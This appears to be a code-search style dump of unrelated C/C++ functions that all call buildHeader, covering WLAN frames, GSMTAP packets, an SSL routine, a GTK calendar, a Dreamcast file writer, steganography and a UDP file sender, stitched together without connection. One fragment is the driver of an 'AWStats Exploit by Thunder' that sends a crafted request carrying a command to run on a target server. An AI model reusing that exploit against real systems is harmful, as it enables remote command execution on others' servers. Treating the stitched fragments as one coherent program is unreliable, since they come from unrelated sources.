// Send bool WLAN::send(char address[], char message[], char *buff) { // send buffer //char buff[WLAN_HEADER_LEN+strlen(message)]; // destination address WLANAddr daddr; // build the header buildHeader(address, &daddr); // store the header into the frame memmove(buff, &hdr, WLAN_HEADER_LEN); // encapsulate the message into the frame memmove(buff+WLAN_HEADER_LEN, message, strlen(message)); // set the "to address" struct sockaddr_ll to = {0}; setToAddress(&daddr, &to); // send a frame int sentlen=sendto( ifconfig.sockid, buff,WLAN_HEADER_LEN+strlen(message), 0, (sockaddr *) &to, sizeof(to)); // Check errors if (sentlen == -1 ) { cerr << "WLAN::sendto() failed: " << strerror(errno) << "\n"; return false; } return true; }
void exploit(char *Xhost, char *Xpath,char *Xscript, char *exeCmd, char *Xip, int Xport) { int sock, disp = 0, count = 0; struct sockaddr_in sockaddrX; char *oData, iData; printf("# AWStats Exploit by Thunder, [email protected]\n"); sockaddrX.sin_port = htons(Xport); sockaddrX.sin_family = AF_INET; sockaddrX.sin_addr.s_addr = inet_addr(Xip); if(Xhost == "localhost") { printf("# Using hardcoded (default) options, use `-u` for usage\n" ); } printf("# Connecting to %s (%s) ...", Xhost, Xip); sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (connect(sock, (struct sockaddr*)&sockaddrX, 16) < 0) { printf("\n# Connect to %s (%s) on port %i failed!\n", Xhost, Xip, Xport); exit(-1); } printf("Done!\n# Building header..."); oData = buildHeader(Xhost, Xpath, Xscript, exeCmd); printf("Done!\n# Sending data..."); send(sock, oData, strlen(oData), 0); /* the code below reads the server response byte by byte, this is not needed while(read(sock, &iData, 1)) putchar(iData); */ printf("Done!\n# Exploit finished.\n"); close(sock); }
int LSBHiderFileSystem::getFilePointer(QString name) { buildHeader(); for (int i = 0; i< filePointers.count(); ++i) if (filePointers[i].name == name) return filePointers[i].pointer; return -1; }
CalendarDatePrivate::CalendarDatePrivate() : m_viewType(VIEWTYPE_DAY) , m_focusUnit(-1) , m_yearBefore(1) , m_weekStart(0) , m_isShowWeekNum(FALSE) { time_t tmp_time; time_t secs; struct tm * tm; char buffer[255]; int i = 0; for (i = 0; i < 7; ++i) { tmp_time = (i + 3) * SEC_IN_A_DAY; strftime(buffer, sizeof(buffer), "%a", localtime(&tmp_time)); m_defaultAbbreviatedDayname[i] = g_locale_to_utf8(buffer, -1, NULL, NULL, NULL); } for (i = 0; i < 12; ++i) { tmp_time = i * 32 * SEC_IN_A_DAY; strftime(buffer, sizeof(buffer), "%B", localtime(&tmp_time)); m_defaultMonthname[i] = g_locale_to_utf8(buffer, -1, NULL, NULL, NULL); } secs = time(NULL); tm = localtime(&secs); m_selectedYear = tm->tm_year + 1900; m_selectedMonth = tm->tm_mon + 1; m_selectedDayOfMonth = tm->tm_mday; ComputeDays(); m_actor = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0); gtk_widget_set_name(m_actor, "calendar"); m_topBox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 0); gtk_widget_set_name(m_topBox, "calendar-top"); gtk_widget_set_halign(GTK_WIDGET(m_topBox), GTK_ALIGN_CENTER); m_mainBox = gtk_fixed_new(); gtk_widget_set_halign(GTK_WIDGET(m_mainBox), GTK_ALIGN_CENTER); m_swipeBox[VIEWTYPE_DAY] = NULL; m_swipeBox[VIEWTYPE_MONTH] = NULL; m_swipeBox[VIEWTYPE_YEAR] = NULL; gtk_box_pack_start(GTK_BOX(m_actor), GTK_WIDGET(m_topBox), TRUE, TRUE, 0); gtk_box_pack_start(GTK_BOX(m_actor), GTK_WIDGET(m_mainBox), TRUE, TRUE, 0); m_provider = GTK_STYLE_PROVIDER(gtk_css_provider_new()); gtk_css_provider_load_from_path(GTK_CSS_PROVIDER(m_provider), GLOBAL_RESOURCE_DIR"/testCalendar/testCalendar.css", NULL); buildHeader(); updateDayView(FALSE, 0); }
QByteArray LSBHiderFileSystem::toByteArray() { QByteArray result; result.resize(32768); QDataStream ds(&result, QIODevice::WriteOnly); buildHeader(); ds << magic; ds << filePointers.count(); foreach (const DataDesc & dd, filePointers) { ds << dd.name << dd.pointer << dd.size; } return result; }
void Tree::writeHeader(char *filename, char *pathOut){ buildHeader(filename); ofstream out; out.open(pathOut, ios::out | ios::binary); if(out.is_open()){ for(int i=0;i< sizeHeader;i++){ out << header[i]; } } else{ cout << "TRASH!" << endl; } out.close(); }
void gWriteGSMTAP(unsigned ARFCN, unsigned TS, unsigned FN, GSM::TypeAndOffset to, bool is_saach, bool ul_dln, const char* data, unsigned int len, unsigned wType, unsigned int defSCN) { if (!(data && len && socketActive())) return; char buffer[MAX_UDP_LENGTH]; int ofs = 0; if (!(ofs = buildHeader(buffer,MAX_UDP_LENGTH,ARFCN,TS,FN, to,is_saach,ul_dln,wType,defSCN))) return; // Add frame data ::memcpy(&buffer[ofs],data,len); ofs += len; // Write the GSMTAP packet GSMTAPSocket.write(buffer, ofs); }
// send change cipher void sendChangeCipher(SSL& ssl, BufferOutput buffer) { if (ssl.getSecurity().get_parms().entity_ == server_end) if (ssl.getSecurity().get_resuming()) ssl.verifyState(clientKeyExchangeComplete); else ssl.verifyState(clientFinishedComplete); if (ssl.GetError()) return; ChangeCipherSpec ccs; RecordLayerHeader rlHeader; buildHeader(ssl, rlHeader, ccs); mySTL::auto_ptr<output_buffer> out(NEW_YS output_buffer); buildOutput(*out.get(), rlHeader, ccs); if (buffer == buffered) ssl.addBuffer(out.release()); else ssl.Send(out->get_buffer(), out->get_size()); }
void gWriteGSMTAP(unsigned ARFCN, unsigned TS, unsigned FN, GSM::TypeAndOffset to, bool is_saach, bool ul_dln, // (pat) This flag means uplink const BitVector& frame, unsigned wType) // Defaults to GSMTAP_TYPE_UM { // Check if GSMTap is enabled if (!socketActive()) return; char buffer[MAX_UDP_LENGTH]; int ofs = 0; if (!(ofs = buildHeader(buffer,MAX_UDP_LENGTH,ARFCN,TS,FN, to,is_saach,ul_dln,wType,0))) return; // Add frame data frame.pack((unsigned char*)&buffer[ofs]); ofs += (frame.size() + 7) >> 3; // Write the GSMTAP packet GSMTAPSocket.write(buffer, ofs); }
int VMIFile::writeData() { file_t f; vmi_hdr_t header; DreamcastFile *df; char tmp[13]; df=getDCFile(); if (!(f=fs_open(getFileName(), "wb"))) { printf("ERROR: Can't open %s!\n", getFileName()); return(-1); } buildHeader(&header); fs_write(f, &header, 0x6C); fs_close(f); sprintf(tmp, "%s.VMS", getResourceName()); if (!(f=fs_open(tmp, "wb"))) { printf("ERROR: Can't open %s!\n", tmp); return(-2); } fs_write(f, df->getData(), df->getSize()); fs_close(f); return(0); }
void KPaquet::build() { buildHeader(); builBody(); }
int export_newmsg_cb( ipfixs_node_t *s, ipfix_hdr_t *hdr, void *arg ) { jobject jhdr = buildHeader(hdr); (*senv)-> CallVoidMethod(senv, oCollectorListener, mNewMessage, jhdr); (*senv)->ExceptionDescribe(senv); //we've just called a callback! the user might do anything! return 0; }
int main(int argc, char *argv[]){ int sockfd, newsockfd, process_id; int client_port, server_port; socklen_t clilen; struct sockaddr_in serv_addr, cli_addr; struct sigaction sa; struct hostent *client; float lossPct, corrPct; if (argc < 1){ error("Error usage <sender_port>"); } if (argv[2]) WINDOW_SIZE = atoi(argv[2]); if (argv[3]) lossPct = atof(argv[3]); if (argv[4]) corrPct = atof(argv[4]); sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0){ error("ERROR opening socket"); } server_port = atoi(argv[1]); bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(server_port); if (bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0){ error("ERROR binding socket"); } //Reap all dead processes sa.sa_handler = sigchld_handler; sigemptyset(&sa.sa_mask); sa.sa_flags = SA_RESTART; if (sigaction(SIGCHLD, &sa, NULL) == -1) { perror("sigaction"); exit(1); } int filed; clilen = sizeof(cli_addr); char recv_buffer[PACKET_SIZE]; bzero(recv_buffer,PACKET_SIZE); Packet *fileRequest; Packet fileResponse; //FILE REQUEST LOOP while(1){ if(recvfrom(sockfd, recv_buffer, PACKET_SIZE, 0, (struct sockaddr *)&cli_addr, &clilen) < 0){ error("ERROR reading from socket"); } fileRequest = (Packet *)recv_buffer; printf("Received File Request: "); printPacket(fileRequest); if ((fileRequest->header).reqField == 1){ filed = open(fileRequest->data, O_RDONLY); if (filed < 0) buildHeader(&fileResponse, (fileRequest->header).destPort, (fileRequest->header).sourcePort, FILE, 0, FILE_NOT_FOUND, END, WINDOW_SIZE); else buildHeader(&fileResponse, (fileRequest->header).destPort, (fileRequest->header).sourcePort, FILE, 0, TRANS, KEEP_ALIVE, WINDOW_SIZE); if (sendto(sockfd, (char *)&fileResponse, sizeof(Packet), 0, (struct sockaddr *)&cli_addr, sizeof(struct sockaddr_in)) < 0) { error("ERROR sending to socket"); } printf("Sent File Response: "); printPacket(&fileResponse); client_port = fileResponse.header.destPort; break; } } close(sockfd); if (filed < 0) { error("File not found"); } //END FILE REQUEST //START DATA TRANSMISSION sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0){ error("Error opening Socket"); } client = gethostbyname(CLIENT_HOST); bzero((char *) &cli_addr, sizeof(cli_addr)); cli_addr.sin_family = AF_INET; bcopy((char *)client->h_addr, (char *)&cli_addr.sin_addr.s_addr, client->h_length); cli_addr.sin_port = htons(client_port); clilen = sizeof(cli_addr); int windowStart = 0; int windowEnd = windowStart + WINDOW_SIZE; int currSeq = windowStart; Packet *window[WINDOW_SIZE]; int i; for (i = 0; i < WINDOW_SIZE; i++){ window[i] = NULL; } int windowIdx = 0; int winInc = 0; int b_read; char readBuf[MAX_DATA]; bzero(readBuf,MAX_DATA); int lastSeq = -1; int lastAck = -1; int TRANS_ALIVE = KEEP_ALIVE; Packet *dataSent; Packet *ackRecieved; struct pollfd sockets[1]; sockets[0].fd = sockfd; sockets[0].events = POLLIN; int polled; while(1){ printf("Send Window [%d-%d), Size:%d\n", windowStart, windowEnd, WINDOW_SIZE); //REGULAR TRANSMIT while (TRANS_ALIVE && currSeq < windowEnd){ //Read File bzero(readBuf, MAX_DATA); b_read = read(filed, readBuf, MAX_DATA - 1); TRANS_ALIVE = b_read == MAX_DATA - 1 ? KEEP_ALIVE : END; dataSent = (Packet *)malloc(sizeof(Packet)); buildHeader(dataSent, server_port, client_port, DATA, currSeq , TRANS, TRANS_ALIVE, WINDOW_SIZE); addData(dataSent, readBuf); window[windowIdx] = dataSent; if (windowIdx < windowEnd) windowIdx++; //Send Data packet if (sendto(sockfd, (char *)dataSent, sizeof(Packet), 0, (struct sockaddr *)&cli_addr, sizeof(struct sockaddr)) < 0) { error("ERROR sending to socket"); } printf("%d)Sent DATA: ", currSeq); printPacket(dataSent); if (b_read < MAX_DATA - 1) lastSeq = currSeq; currSeq++; } polled = poll(sockets, 1, RTO_MSEC); if (polled == POLLIN){ //RECEIVE ACK; bzero(recv_buffer,PACKET_SIZE); if (recvfrom(sockfd, recv_buffer, PACKET_SIZE, 0, (struct sockaddr *)&cli_addr, &clilen) < 0){ error("ERROR reading from socket"); } ackRecieved = (Packet *)recv_buffer; int corrupted = TRANS_ALIVE ? corruptedPacket(corrPct) : NOT_CORRUPTED; int lost = TRANS_ALIVE ? lostPacket(lossPct) : NOT_LOST; if (corrupted) printf("Ack %d) Corrupted! ", (ackRecieved->header).seqNumber); if (lost) printf("Ack %d) Lost! ", (ackRecieved->header).seqNumber); if (corrupted || lost) printf("\n"); if (!corrupted && !lost){ printf("%d)Received ACK: ", (ackRecieved->header).seqNumber); printPacket(ackRecieved); winInc = (ackRecieved->header).seqNumber - lastAck; lastAck = (ackRecieved->header).seqNumber; if ((ackRecieved->header).seqNumber == lastSeq) break; else if (winInc >= 1 && lastSeq == -1){ for (i = 0; i < winInc; i++){ free(window[i]); } memcpy(window, window + winInc, (WINDOW_SIZE - winInc) * sizeof(Packet *)); for (i = (WINDOW_SIZE - 1); i >= (WINDOW_SIZE - winInc); i--){ window[i] = NULL; } windowStart += winInc; windowEnd += winInc; windowIdx -= winInc; } } } else { //RETRANSMIT int retransNum = lastAck + 1; int retransIdx = 0; while (retransNum < currSeq && retransIdx < WINDOW_SIZE){ dataSent = window[retransIdx]; if (retransNum == (dataSent->header).seqNumber){ if (sendto(sockfd, (char *)dataSent, sizeof(Packet), 0, (struct sockaddr *)&cli_addr, sizeof(struct sockaddr)) < 0) { error("ERROR sending to socket"); } printf("%d)RE-Sent DATA: ", (dataSent->header).seqNumber); printPacket(dataSent); retransNum++; } retransIdx++; } } } for (i = 0; i < WINDOW_SIZE; i++){ free(window[i]); } close(filed); close(sockfd); //END DATA TRANSMISSION return 0; }